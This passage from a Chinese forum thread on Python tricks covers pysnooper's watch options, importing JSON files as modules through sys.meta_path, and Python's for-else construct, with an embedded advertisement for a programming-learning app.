Starting var:.. number = 3
Starting var:.. d = {&#39;one&#39;: 1, &#39;two&#39;: 1}
Starting var:.. d[&#39;one&#39;] = 1
Starting var:.. d[&#39;two&#39;] = 1
#### watch ####
d = {
&#34;one&#34;: 1,
&#34;two&#34;: 1
}
@pysnooper.snoop(watch=&#34;d&#34;)
# 输出
Starting var:.. d = {&#39;one&#39;: 1, &#39;two&#39;: 1}可以看出watch_explode能够展开字典的属性值。
另外还有参数depth显示函数中调用函数的snoop行,默认值为1,参数值需要大于或等于1。
当然,本文介绍的只是冰山一角。
在庞大的Python知识体系中,还有很多「绝妙」的奇技淫巧能够极大的提高开发效率,提升代码质量和稳定性。
篇幅限制,无法一一介绍。
这里给大家推荐<夜曲编程>,一款来自百词斩旗下的编程学习app,可以利用空闲时间学习更多「奇技淫巧」。例如学习用Python就可以来批量化发送邮件。
http://pic1.zhimg.com/v2-7f26e1806470a2f867dc80d34176a809_r.jpg?source=1940ef5c
夜曲编程真正的可以称得上0基础适用,以概念术语的解释为例,定义是什么?生活中有哪些类比?它就像一个不知疲倦的老师在教一个启蒙阶段的孩子一样,都会给你详细的解释,并且通过答题卡的方式提升你的印象和理解。
http://pic1.zhimg.com/v2-50690ac9ff55b0cef2d90b807e072a4d_r.jpg?source=1940ef5c
另外夜曲编程创新性的采用了互动式教学方式,摆脱了枯燥乏味的看书、看视频学习方式,从概念理解、知识问答,到交互式的代码编辑,能够循序渐进、一环扣一环的把学习者带入到Python的世界里,能够极大的提升Python学习效率。
更良心的是,你不仅可以在电脑网页上进行学习,还可以在手机APP、进行学习,为大家提供了更多选择和可能性,你每天只需要利用上下班、午休放松的碎片化时间,学上15~20分钟,充值自己,为自己的职业生涯提升一下竞争力。
感兴趣的同学可以搜索夜曲编程公号,回复<免费教程>,先试试的免费学习课程。如果觉得不错,可以报名学习内容更深入更完整的基础入门和进阶课。
<hr/>干货
干货 | 2019年共享免费资源整理(上):学习资源篇干货 | 2019年共享免费资源整理(下):实用工具篇更多我的作品
Jackpop:请问自学Python有必要买课程吗?
Jackpop:Python调试工具之pdb
Jackpop:一文教你配置得心应手的Python
平凡而诗意 从 Python 2.3 开始,sys 包有一个属性,叫 meta_path 。可以通过给 sys.meta_path 注册一个 finder 对象,改变 import 的行为。甚至可以实现这样的功能:通过 import 来导入一个 json 文件中的数据。
举个例子,有一个 tester.json 文件,里面的内容是:
{
&#34;hello&#34;: &#34;world&#34;,
&#34;this&#34;: {
&#34;can&#34;: {
&#34;be&#34;: &#34;nested&#34;
}
}
}
通过改变 sys.meta_path ,注册一个读取 json 数据的 finder 之后,就可以这样用:
>>> import tester
>>> tester
<module &#39;tester&#39; from &#39;tester.json&#39;>
>>> tester.hello
u&#39;world&#39;
>>> tester.this.can.be
u&#39;nested&#39;
那么这个 finder 如何实现呢?
看这里:
kragniz/json-sempai: Use JSON files as if t... Python没有什么奇技淫巧吧。。。
Hidden features of Python 这个链接上有很多小例子
比如for else值得说下。不break的话就执行else
for i in range(10):
if i == 10:
break
print(i)
else:
print(&#39;10不在里面!&#39;)相当于:
flag = False
for i in range(10):
if i == 10:
flag = True
break
print(i)
if not flag:
print(&#39;10不在里面!&#39;)说个题外话,还可以看看Writing Idiomatic Python,看看怎么写地道的Python
页:
[1]